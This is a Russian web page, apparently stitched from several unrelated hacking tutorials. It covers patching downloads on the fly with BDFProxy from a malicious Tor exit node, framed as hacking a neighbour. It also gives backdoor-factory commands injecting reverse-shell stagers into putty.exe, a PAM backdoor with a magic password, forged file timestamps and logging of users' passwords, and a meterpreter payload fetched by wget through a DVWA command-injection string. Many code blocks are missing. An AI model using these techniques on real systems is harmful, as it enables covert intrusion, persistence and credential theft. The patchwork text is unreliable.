Backdoor factory kali linux как пользоваться

Обновлено: 07.07.2024

Думаю, ты слышал про интересный фреймворк Evilgrade, который позволяет надругаться над механизмом обновления многих популярных программ (Windows update, Apple update и еще целой пачки), подсовывая вместо валидных файлов зловредные бинарники. Считаешь, подобной уязвимости подвержены только апдейты приложений? Ты ошибаешься. Скажу больше: скачивать бинарники из Сети не так безопасно, как кажется на первый взгляд. Не веришь? Тогда смотри, а вернее — читай.

Вместо введения

Проникновение на рабочую станцию обычного пользователя представляет собой довольно непростую задачу. Ведь в отличие от серваков, на которых может крутиться большое число дополнительного ПО (веб-серверы, СУБД, FTP-серверы. ), которое увеличивает шанс найти лазейку для получения удаленного шелла, в случае обычной рабочей станции и зацепиться-то особо не за что. Предположим, ты хотел бы получить удаленный доступ к компьютеру своего соседа Васи. А рассеянный Вася забыл отключить автоматическое обновление системы, поэтому пробить его систему каким-нибудь бородатым сплоитом не получится. Ситуация непростая, но и не безвыходная. В таком случае можно положиться на свои навыки социнженера или, к примеру, воспользоваться Evilgrade’ом — автообновления-то у Васи включены! Но есть и еще вариант — BDFProxy.

Знакомься, BDFProxy

Схема работы BDFProxy

Схема работы BDFProxy

Автор предполагает следующие схемы работы инструмента для локальной и беспроводной сетей:

Установка

Пожалуй, отставим лирику и посмотрим, на что способен данный инструмент. Для его работы понадобятся следующие пакеты: самая последняя версия Pefile, ConfigObj, mitmproxy, BDF (тоже самый последний), Capstone (является частью BDF). Итак, клонируем BDFProxy в одноименную папку и запускаем установку:

А сами просто сидим и ждем. Если у тебя не установлен pip , то библиотеку pefile придется устанавливать самому вручную:

После чего все готово к использованию. Как рекомендует автор, перед каждым запуском следует выполнять команду апдейта, на случай изменений и дополнений: ./update.sh .

Настройка

Теперь мы подошли к самому интересному — к правке конфига, который обитает в файле bdfproxy.cfg . Давай посмотрим, что там есть. Помимо установки значения, на каком порту будет работать прокси ( proxyPort = 8080 ), куда будут сливаться логи ( logname = proxy.log ) и какой уровень логирования будет установлен ( loglevel = INFO ), есть еще white- и black-листы. Белые — это те, которые будут как раз таки патчиться, черные — нет. Эти листы существуют как для хостов — там указываем, бинарники с каких серверов патчить, а с каких нет (по умолчанию значение ALL — патчим отовсюду), — так и для ключевых слов — здесь в черный список следует занести то, что патчить не следует. Например, исполняемые файлы популярных программ и DLL-библиотеки: blacklist = Tcpview.exe, skype.exe, .dll . Еще конфиг позволяет задать настройки для каждого типа исполняемых файлов Windows/Linux х86/х64. Но довольно о конфиге — там все достаточно просто и понятно, перейдем к действиям.

Испытания на полигоне

Все вроде как настроено, самое время переходить к непосредственному запуску инструмента и, в лучших традициях, попробовать похакать самого себя. Запускаем тулзу:

В ответ ждем подобного выхлопа:

Как видишь, у нас создался файлик bdfproxy_msf_resource.rc . Просмотрев его, обнаруживаем строчку, как использовать сие чудо:

Как ты уже, наверное, понял, msfconsole — это пожалуй, самый популярный интерфейс для MSF. Он обеспечивает решение «все в одном», консоль централизована и предоставляет эффективный доступ к практически всем опциям, доступным в Metasploit Framework. Msfconsole может показаться слегка путаным и непонятным поначалу, но как только узнаешь его синтаксис команд поближе, начинаешь ценить огромную силу использования этого интерфейса. Возвращаясь в нашу консоль, допиливаем настройки:

Теперь, когда мы будем скачивать какой-нибудь бинарник из интернета, он будет патчиться на лету и при этом будет иметь не очень высокий уровень обнаружения антивирусами. Плюс после его запуска мы получаем полноценный шелл на удаленной машине, остается только к ней подключиться и рулить на свое усмотрение:

Испытания в реальности

В качестве плацдарма для своих испытаний будем использовать Kali Linux, хотя вполне подойдет и любой другой дистрибутив. Если у тебя еще не установлен Tor, то срочно выполняй

и перейдем к его настройке.

Настраиваем Tor

Для начала давай разберемся, какие параметры из конфига тора нам понадобятся. ControlPort — на этом порту Tor будет принимать подключения для управления Tor-сервером. DirPort — на этом порту Tor будет принимать данные от сервера директорий. Установим их, например, в следующие значения:

Далее ExitPolicy — определяет, какой трафик мы будем принимать и форвардить. Имеет формат ExitPolicy Accept | reject address:port . Можно прописать что-то подобное:

Тем самым мы будем резать весь трафик, кроме 80, 443, 110, 143, 993 и 995-го порта. При желании можно что-то добавить или убавить. Как говорится, хозяин — барин. HashedControlPassword — хеш пароля для доступа и конфигурации Tor-сервера, сделать можно командой: tor –hash-password . Nickname — имя нашего сервера. ORPort — порт, ожидающий подключения от других нодов. SocksListenAddress — адрес, по которому Tor будет ждать подключений от приложений, работающих через SOCKS. Формат: SocksListenAddress IP[:PORT] . Установим IP в 127.0.0.1 , а порт оставим дефолтным (9050). Это понадобится нам, если мы захотим использовать Tor в связке с Privoxy или другими прокси.

Конечная часть конфига будет представлять собой что-то подобное:

Теперь через какое-то время наш компьютер станет полноценной exit-нодой! Кстати говоря, настоятельно рекомендую тебе создать для запуска тора отдельного пользователя, а не стартовать его от рута.

Проверка выходных узлов Тора

Проверка выходных узлов Тора

Случай модификации бинарников

На данный момент о вредоносном узле уже сообщено в Tor, и он помечен как BadExit. Тут, правда, стоит отметить, что из 1110 выходных узлов в сети Tor это был единственный, который добавлял вредоносный код к бинарникам. Все остальные проверены и не делают ничего подобного. Хотя это нельзя гарантировать наверняка: узлы могут действовать избирательно и модифицировать только часть файлов, чтобы не проявить себя при проверке. К слову, компания Symantec внесла свои пять копеек по поводу обнаруженной вредоносной ноды. Зловред, который дописывался ко всем бинарникам, написан под семейство вин-машин, в которые вошли: Windows XP, Windows 2000, Windows Vista и Windows 7. Антивирус его детектит как Backdoor.Miniduke! GEN4. После проникновения программа связывается со своими создателями через сервис микроблогов Twitter, где она ищет твиты в заранее созданных злоумышленниками аккаунтах. Переходя по линкам, опубликованным в Twitter, она загружает основную часть вредоносного кода. Загрузка осуществляется в несколько этапов, после чего зловредный код начинает функционировать как Backdoor, открывая тем самым злоумышленнику доступ к любым данным, находящимся на компьютере жертвы.

Как защититься

Ну а теперь пару слов о методах противодействия. Самое банальное и самое эффективное в данной ситуации — это, конечно же, использование SSL/TLS. Но вот как заставить пользоваться этим разработчиков ресурсов, с которых ты скачиваешь файлы? Еще может выручить сверка хешей реального файла и того, что скачал. Если подозрения все еще мучают тебя, попробуй прогнать файл через тот же VirusTotal или подобные ресурсы, в случае добавления какой-то известной сигнатуры сразу получишь огромное количество детектов заразы.

Делаем выводы

Тор — прекрасный инструмент для защиты личности, однако он не гарантирует безопасность. И не стоит про это забывать. Как видишь, суть одна — не доверять никому и проверять полученные данные: никогда не угадаешь, что именно ты скачал в свеженьком бинарнике. А развернуть подобную тему на своем сервачке — дело совсем недолгое, а если еще и таргетироваться на узкий рынок устройств или ПО, то шансов быть быстро обнаруженным весьма невелик. Так что чти УК РФ, носи белую шляпу и всегда сверяй хеши

Kali Linux Penetration Test 137 Backdoor Tool - Backdoor-factory

В этой статье описывается подробный процесс обучения использованию Kali Linux 2018.1 и тестирование на проникновение. Учебное пособие представляет собой курс «Тестирование на проникновение Kali Linux» в классе по безопасности.

Отчет о тесте на проникновение Kali Linux (Юань Фаньхун)

  • Способы устранения уязвимостей или проблем системы путем замены exe, dll, реестра и т. Д.
  • bdf: добавить или удалить содержимое кода в двоичный файл
    • Некоторые защищенные двоичные файлы не могут быть исправлены
    • Есть определенная вероятность, что вас сломает патч
    • Используется в windows PE x32 / 64 и linux ELF x32 / 64 (OSX)
    • Поддержка полезной нагрузки msf, настраиваемой полезной нагрузки

    Вставьте код шелл-кода в файл шаблона, чтобы избежать проверки AV

    написано на языке Python

    Метод исправления, используемый msf

    Отменить ввод программы

    Создайте новый поток для выполнения шелл-кода и возврата к исходной записи программы.


    • msfvenom -p windows/shell/reverse_tcp –k
    • Увеличьте фрагмент кода, чтобы вернуться к записи исходной программы после выполнения
    • Добавить новый сеанс сегмента кода, аналогично методу smf -k
    • Используйте существующие пещеры кода для хранения шеллкода

    Отверстие для кода

    • Последовательная область x00 размером более двух байтов в двоичном формате (область между фрагментами кода)
    • Согласно статистике, считается, что дыра в коде вызвана компиляцией во время компиляции. Размер дыры в коде, вызванной разными компиляторами, отличается


    Одной партии кодового отверстия недостаточно для хранения полного шелл-кода.

    Прыжок с несколькими кодами (непоследовательное выполнение)

    • Первоначальный иммунитет может достигать 100%.

    Объедините метод stager msf

    • Дополнительный фрагмент кода
    • Ввод одного кодового отверстия
    • Множественное внедрение кода

    Базовое использование BDF

    Проверьте, поддерживает ли двоичный файл внедрение кода

    Показать доступную полезную нагрузку

    • backdoor-factory -f putty.exe -s show
    • backdoor-factory -f which nc -s show
    • backdoor-factory -f putty.exe -s show iat_reverse_tcp_stager_threaded -H 10.10.10.133 -P 4444
    • Одно отверстие в коде по умолчанию, опция .rdata -> просмотреть файл -> проверить вирус
    • Используйте msf для прослушивания set payload windows / meterpreter / revers_tcp set LHOST 10.10.10.131 set LPORT 4444 run

    Посмотреть размер пещеры

    Сравнение антиубийственных эффектов

    • backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 1.1.1.1 -P 6666
    • backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 1.1.1.1 -P 6666 –J
    • backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 192.168.20.8 -P 6666 -a

    Интеграция с veil-evasion

    -S: Проверить, поддерживает ли двоичный файл внедрение кода


    -c: Убедившись, что он поддерживает патч, давайте проверим, поддерживает ли он указанный нами патч шеллкода


    -s SHELL, –shell = SHELL: полезная нагрузка, которую можно использовать. Используйте "показать" для просмотра полезной нагрузки.



    Залить putty.exe и сообщить об ошибке



    Показать файл не найден


    Используйте msf для прослушивания


    Работающая Windows вводится в программу putty2.exe, kali успешно отскакивает

    Спoсобов закрепиться на взломанной машине масса. От самых банальных и легко обнаруживаемых (добавить себя в базу пользователей) до сложных модулей ядра, реализующих обратный шелл на удаленную машину. Но есть среди них очень простой в реализации и достаточно скрытный метод, о котором знают на удивление мало людей. Это модификация модулей системы аутентификации PAM, котоpую используют все современные UNIX-системы.

    бекдор для Linux

    Что такое PAM

    Подключаемые модули аутентификации (Pluggable Authentication Modules, PAM) — это набор API, необходимых для реализации механизмов аутентификации в различных приложениях.

    До появления PAM, чтобы реализовать аутентификацию, скажем, с помощью ключ-карты, разработчикам приходилось вносить код поддержки этих самых ключ-карт в каждый компонент системы, ответственный за аутентификацию пользователя. То есть дописывать и пересобирать приходилось утилиту login, sshd, а также любой другой софт, в который плaнировалось добавить подобную функциональность.

    С появлением PAM ситуация намного упростилась. Теперь, чтобы добавить в систему свой неповторимый самописный протокол аутентификации, достаточно реализовать его в рамках одного-единственного модуля PAM. А все утилиты и приложения, умеющие работать с PAM, подхватят его и смогут использовать для аутентификации пользователя.

    На практике это выглядит примерно так: утилита login обращается к PAM, который выполняет все необходимые проверки с помощью указанных в конфигурационном файле модулей и возвращает результат обратно утилите login. Удобно, не правда ли? Однако такой пoдход содержит в себе возможности, которые мы можем использовать для закрепления в системе.

    Стоит сделать небольшую оговорку. Существует три основные реализации PAM:

    • Linux-PAM — основная реализация PAM в любой Linux-системе;
    • OpenPAM — используется в BSD-системах и macOS;
    • JPam — реализация PAM для Java-приложений.

    Заострять внимание на какой-то конкретнoй реализации мы не будем. Основная функциональность везде одинакова.

    Аспекты закрепления в *nix с использованием PAM

    Настройки PAM для каждого приложения ты можешь найти в каталоге /etc/pam.d (Linux) либо в файле /etc/pam.conf . Пример конфигурационного файла для утилиты login в macOS:

    Давай разберемся, какая магия тут происходит.

    Конфигурационный файл описывает правила проверки, которые должны быть соблюдены для успешной аутентификации пользователя или же выполнения других действий (изменение пароля, подготовка пользовательского окружения). Каждая строка конфигурационного файла содержит одно пpавило. Проверки выполняются построчно.

    Слева направо: тип модуля, control_flag , имя модуля. Для нас в первую очередь представляет интерес тип модуля auth, именно эти модули ответственны за аутентификацию. Control_flag — это свойство модуля. Оно может принимать значения:

    • requisite (необходимый) — если модуль возвращает положительный ответ, выполняется оставшаяся часть цепочки и запрос удовлетворяется. Если модуль возвращает отрицательный ответ, то запрос немедленно отвергается и любые другие проверки не выполняются;
    • required (требуемый) — точно так же, как и requisite: если ответ положительный, выполняется оставшаяся часть цепочки проверок. С той лишь разницей, что в случае отрицательного ответа цепочка проверок продолжает выполняться, однако запрос отвергается;
    • sufficient (достаточный) — удовлетворяет запpос в том случае, если ни одна из других ранее проведенных по цепочке проверок не отработала отрицательно. В случае еcли модуль сработал отрицательно, результат игнорируется и цепочка проверок отрабатывается дальше;
    • optional (нeобязательный) — модуль отрабатывается, однако результат игнорируется.

    Уже на этом этапе ты наверняка смекнул, что, внeся небольшие изменения в файл конфигурации, мы можем обеспечить себе успешный вход в систему с любым паролем (достаточно пометить все auth-модули как optional). Но это решение будет работать до тех пор, пока легитимный пользователь или администратор не заметит того, что успешно логинится в систему даже с неверным паролем.

    Пишем собственный модуль-бэкдор

    PAM позволяет нам подключать собственные мoдули аутентификации. Поэтому мы можем создать модуль с «волшебным» паролем и добиться того, чтобы система принимала как стандартные пароли пользователей, так и наш собственный. В случае ввода неверного пароля мы увидим вполне ожидаемую ошибку аутентификации. Неплохой вариант.

    Итак, код (не забудь заменить magic-password на свой «волшебный» пароль):

    И поместим его в каталог с другими модулями:

    Обрати внимание, что путь /lib/x86_64-linux-gnu/security/ специфичен для Debian/Ubuntu. В Fedora, Red Hat и CentOS модули располагаются в каталоге /lib64/security/, а в Arch Linux — в каталоге /lib/security/.

    Теперь остается только сконфигурировать PAM таким образом, чтобы прохождeния проверки твоим модулем было достаточно для успешной аутентификации. Например, конфиг для утилиты su (/etc/pam.d/su):

    В некоторых Linux-системах настройки аутентификации могут быть вынесены в несколько файлов: common-auth, common-password, common-session, а затем подключаться к конфигурационным файлам конкретных утилит через @include . Этот момент надо учитывать.

    После того как ты внесешь настройки в конфиг, утилита su будет пускать тебя с использованием указанного в модуле пароля. Тот же трюк можно проделать с утилитой login (консольный вход в систему) и sshd для удаленного входа.

    Встраиваем бэкдор в существующий модуль

    Редактируя конфиг PAM, ты мог заметить модуль pam_unix.so. Этот модуль отвечает за аутентификацию пользователей с пoмощью стандартной для UNIX-систем базы паролей /etc/passwd. Его используют многие утилиты, включая su, login, sshd, и другие программы (например, SecureFTPd).

    Поскольку PAM — это все-таки open source и мы имеем доступ к исходным текстам как самого демона, так и стандартных его компонентов, мы можем встроить свой бэкдор прямо в этот модуль.

    Для того чтобы внести необходимые изменения, скачиваем исходные тексты PAM:

    Открываем файл Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c и ищем следующие строки:

    Сразу пoсле второй строки добавляем проверку нашего пароля (замени magic на свой пароль):

    Собираем и заменяем оригинальный модуль своим:

    Чтобы админ не заметил подмены, изменяем время создания файла так, чтобы оно совпадало со временем создания других модулей:

    Это все, никаких правок конфигов, бэкдор уже в системе. На все перечисленные выше действия у тебя уйдет несколько минут. А подготовленный за это время плацдарм можно использовать с умом, чтобы еще глубже окопаться в целевой системе.

    Добавляем бэкдор в модуль pam_unix.so

    Добавляем бэкдор в модуль pam_unix.so

    Логиpуем пароли других пользователей

    На сладкое ты можешь добавить функцию логирования паролей других юзеров, успешно прошедших аутентификацию. Для этого достаточно внести еще одну маленькую модификацию в код модуля pam_unix.so .

    Теперь все пароли будут логироваться в /tmp/.passwd :

    Собираем пароли пользователей

    Собираем пароли пользователей

    В этой лекции Вы научитесь создавать бэкдор, с помощью которого Вы сможете получить шелл Meterpreter, который Вы будете использовать вместе с Metasploit. Вместо обычного шелла netcat-a, Вы получите более продвинутый шелл meterpreter-a. Должен сказать, что если Вы учили все, о чем мы говорили ранее, то Вы поймете все, что я Вам объясню и покажу. Но если по какой-либо причине тема покажется Вам слишком сложной, не беспокойтесь об этом, так как когда Вы будете переходить на более продвинутый материал, то там будет затронута данная тематика.

    Я создам исполняемый файл, который позволит мне использовать шелл meterpreter-a, и для этого я воспользуюсь скриптом сервиса msfpc, который работает на базе msfvenom. Metasploit venom – это инструмент, с помощью которого можно создавать пэйлоады, но сейчас мы будем рассматривать msfpc, который гораздо проще в использовании, нежели msfvenom. Если мы введем команду «msfpc -h», то увидим огромное количество различных типов пэйлоадов:

    msfpc -h

    Я могу создавать пэйлоады, которые будут влиять на машины на Windows, aspx файлы, или powershell, а также линукс .elf и т.д.

    Скопируем шаблон для заполнения в самом верху вывода команды, и вставим в консоль для постепенного заполнения:

    шаблон msfpc

    Удаляем последние два параметра и в третьем оставляем TCP. После этого мне нужно выбрать параметр STAGED или STAGELESS. Что это такое? STAGELESS пэйлоад более самостоятелен, так как сам запускается, исполняется, и внутри у него есть весь необходимый функционал. А вот STAGED-пэйлоад разделен на несколько частей. Сначала выполняется первая часть, а затем вторая. На самом деле я удалю этот параметр и Вам не стоит о нем сейчас беспокоиться.

    Для нас беспокойным будет следующее; а именно, какой шелл мы будем использовать. BIND-SHELL или REVERSE-SHELL. Мы уже знаем разницу между ними, и для нас лучший вариант – это использование обратного шелла.

    Затем у меня есть выбор, хочу ли я, чтобы это был пэйлоад Metasploit или команда, которую я хочу запустить. Я могу выбрать опцию CMD, чтобы затем выбрать команду, которую я хочу запустить. Или же я могу выбрать пэйлоад Metasploit, чтобы потом работать в шелле meterpreter-a. Благодаря последнему пэйлоаду, у меня будет больше возможностей, и я выбираю опцию MSF.

    Далее мне нужно выбрать порт – это 4444.

    После этого мне нужно выбрать айпи-адрес, и в данном случае это будет айпишник моей машины на Kali Linux, потому что это обратный шелл. Это 192.168.119.128.

    И в конце, а вернее в начале, мне нужно выбрать тип пэйлоада, который я хочу сгенерировать. Другими словами, на какой системе я буду его запускать, и в каком приложении. Я хочу, чтобы это был пэйлоад для Линукса.

    Запись будет иметь вид:

    создание пэйлоада для Linux

    Жмем «Enter», и даем инструменту творить магию:

    создание пэйлоада

    Обратите внимание на строку CMD и команду, которую я бы вводил, используя msfvenom, но это не пришлось делать, так как есть опция CMD, и за меня была проделана вся работа.

    В итоге мы создали исполняемый файл с расширением «.elf». В дополнении ко всему у нас создается скрипт Metasploit:

    файл с расширением .elf создан

    Когда я его запущу, то будет запущен Metasploit со всеми параметрами. Теперь я могу запустить этот скрипт. Все, что мне нужно, так это скопировать эту строку с параметрами, и вставить в новое окно терминала:

    запуск скрипта

    handler находится в фоновом режиме

    Он ждет подключение от пэйлоада meterpreter.

    Мне нужно загрузить этот исполняемый файл, а затем запустить его на системе, на Линуксе. Для этого я хотел бы познакомить Вас с уязвимостью веб-приложений, для разнообразия. Мы рассмотрим уязвимость выполнения команд (Command Execution). Уязвимость выполнения команд, как следует из имени, позволяет нам запускать и выполнять команды на машине цели, без необходимости загружать php-шелл. Мы можем сразу выполнять команды в системе. Такое можно проверить в приложениях, которые позволяют проверить пинг на сайте, и эти значения отображаются на самой странице. Если эти функции настроены неправильно, то Вы сможете комбинировать команды. Обычно ограничиваются типы запускаемых команд. Давайте предположим, что есть веб-сайт, который позволяет проверить пинг других веб-сайтов. Этот веб-сайт в реальности позволяет запрещать все, кроме команды ping, и не разрешать ничего другого, но если неправильно его настроить, то Вы можете запустить более одной команды, и это даст Вам доступ к функционалу операционной системы, на которой хостится этот веб-сайт. Давайте я покажу Вам, что я имею ввиду на сайте DVWA:

    И если Вы погуглите, то можете встретить аналогичные сайты, с подобным функционалом. Если я введу, например локальный айпи-адрес, то на сайте отобразится время на выполнение команды:

    пинг локального айпи-адреса

    Что произойдет, если я попытаюсь объединить его с другой командой. Введем наш локальный айпи-адрес и добавим команду pwd, перед которой будут стоять два амперсанда:

    127.0.0.1 && pwd

    В выводе я получаю текущую директорию (выделено салатовым в самом низу). Но самое важное то, что я запустил не одну команду, а две, что очень хорошо для атакующего, т.е для нас.

    Давайте проверим, запущен ли wget в этой системе. Для этого пишу команду: «127.0.0.1 && wget -h»:

    127.0.0.1 && wget -h

    И к счастью для меня «wget» был запущен. Все, что мне остается, так это использовать «wget», чтобы подключиться к Kali и скачать .elf файл.

    Перед этим мне нужно настроить нашу машину на Kali качестве веб-сервера и поместить этот «.elf» файл в директорию, чтобы я мог его скачать через wget на машину цели. Я копирую данный файл в директорию /var/ www/html. Команда будет выглядеть как: «cp linux-meterpreter-staged-reverse-tcp-4444.elf /var/www/html/backdoor.elf»:

    cp linux-meterpreter-staged-reverse-tcp-4444.elf /var/www/html/backdoor.elf

    Далее я запускаю сервер Apache2, с помощью команды «service apache2 start»:

    service apache2 start

    192.168.119.128 && wget http://192.168.119.128/backdoor.elf

    Давайте проверим, прошла ли загрузка. Запускаем команду «ls»:

    ls command

    Отлично. Я смог загрузить файл с Кали Линукс на машину Metasploitable2. Итак, перед запуском файла нужно сделать его исполняемым. Это делается с помощью команды «chmod +x backdoor.elf», и если все прошло корректно, то мы увидим х напротив файла бэкдора:

    chmod +x backdoor.elf

    Последний шаг. Запуск файла. Это делается с помощью команды: «192.168.119.140 && ./backdoor.elf»:

    192.168.119.140 && ./backdoor.elf

    Переходим в терминал, и у нас есть открытая сессия:

    Чтобы взаимодействовать с сессией, нужно ввести команду «sessions –i 1», где I значит – interact (взаимодействие):

    открытая сессия meterpreter

    Готово. Теперь у меня есть шелл meterpreter, который позволяет мне взаимодействовать с системой на Metasploitable2. Например, можно выполнить команду «sysinfo»:

    команда sysinfo

    Для того, чтобы перейти в стандартный терминал линукс, нужно ввести команду «shell»:

    переход в стандартный терминал linux

    Вот, собственно и все. Таким образом можно запустить бэкдор, который даст нам доступ к шеллу meterpreter, и захватить шелл используя Metasploit Framework.

    Конечно, для того, чтобы запустить бэкдор, мне понадобилось использовать уязвимость веб-приложения, скачать исполняемый файл на машину, и запустить его на этой машине. Это всего лишь один из возможных способов.

    Читайте также: